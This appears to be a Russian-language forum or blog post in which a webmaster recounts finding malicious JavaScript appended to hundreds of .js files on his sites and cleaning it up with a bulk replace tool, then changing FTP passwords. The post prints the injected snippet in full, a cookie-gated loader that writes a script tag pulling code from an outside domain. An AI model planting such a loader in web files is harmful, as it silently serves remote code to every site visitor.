Вредоносный код на сайте.

Полезная информация, может кому пригодится! На днях зашел в яндекс вебмастер, увидел, что несколько моих сайтов с пометкой

Начал искать этот код, ни один сервис "онлайн проверки на вирусы" мне не помог, все утверждали, что все в порядке! Написал Платону, довольно быстро получил ответ с подсказкой куда копать!

вот этот код

function g(){var r=new RegExp("(?:; )?1=([^;]*);?");return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000)); 

if(!g()&&window.navigator.cookieEnabled){document.cookie="1=1;expires="+e.toGMTString()+";path=/";document.write('<script src="http://pagecookie.org/pagecookie.js"></script>');}

Оказалось, что в конце каждого .JS файла он каким то образом прописался.... таких файлов сотни или даже тысячи! Скрипт, чтобы удалить код на сервере искать не стал. На днях делал бекапы всех сайтов, проверил выборочно код присутствовал.

Причем есть пару сайтов на народе и там тоже этот код прописался.

Выручила простая и очень удобная програмулина "Словогрыз" с ее помощью удалил этот код сразу на всех файлах. Настроил ее только на .js файлы добавил директорию на локале, где лежали все бекапы и вуаля! готово!

Далее перезалил файлы обратно на сервер и поменял фтп пароли. Теперь буду смотреть если опять пропишется эта бяка, будем думать дальше.